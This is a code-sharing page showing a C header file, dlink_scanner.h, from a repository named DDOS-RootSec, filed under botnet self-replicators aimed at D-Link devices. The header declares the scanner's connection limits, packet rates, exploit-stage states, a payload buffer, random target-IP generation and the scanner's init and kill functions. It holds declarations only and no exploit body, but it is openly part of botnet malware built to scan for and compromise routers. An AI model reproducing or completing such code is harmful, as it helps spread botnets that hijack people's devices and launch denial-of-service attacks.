Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/DLink/dlink_scanner.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#ifdef SCAN_MAX
8
#define dlinkscanner_SCANNER_MAX_CONNS 512
9
#define dlinkscanner_SCANNER_RAW_PPS 720
10
#else
11
#define dlinkscanner_SCANNER_MAX_CONNS 128
12
#define dlinkscanner_SCANNER_RAW_PPS 160
13
#endif
14
15
#ifdef SCAN_MAX
16
#define dlinkscanner_SCANNER_RDBUF_SIZE 1024
17
#define dlinkscanner_SCANNER_HACK_DRAIN 64
18
#else
19
#define dlinkscanner_SCANNER_RDBUF_SIZE 256
20
#define dlinkscanner_SCANNER_HACK_DRAIN 64
21
#endif
22
23
struct dlinkscanner_scanner_connection
24
{
25
int fd, last_recv;
26
enum
27
{
28
dlinkscanner_SC_CLOSED,
29
dlinkscanner_SC_CONNECTING,
30
dlinkscanner_SC_EXPLOIT_STAGE2,
31
dlinkscanner_SC_EXPLOIT_STAGE3,
32
} state;
33
ipv4_t dst_addr;
34
uint16_t dst_port;
35
int rdbuf_pos;
36
char rdbuf[dlinkscanner_SCANNER_RDBUF_SIZE];
37
char payload_buf[1024];
38
};
39
40
void dlinkscanner_scanner_init();
41
void dlinkscanner_scanner_kill(void);
42
43
static void dlinkscanner_setup_connection(struct dlinkscanner_scanner_connection *);
44
static ipv4_t dlinkscanner_get_random_ip(void);
45
46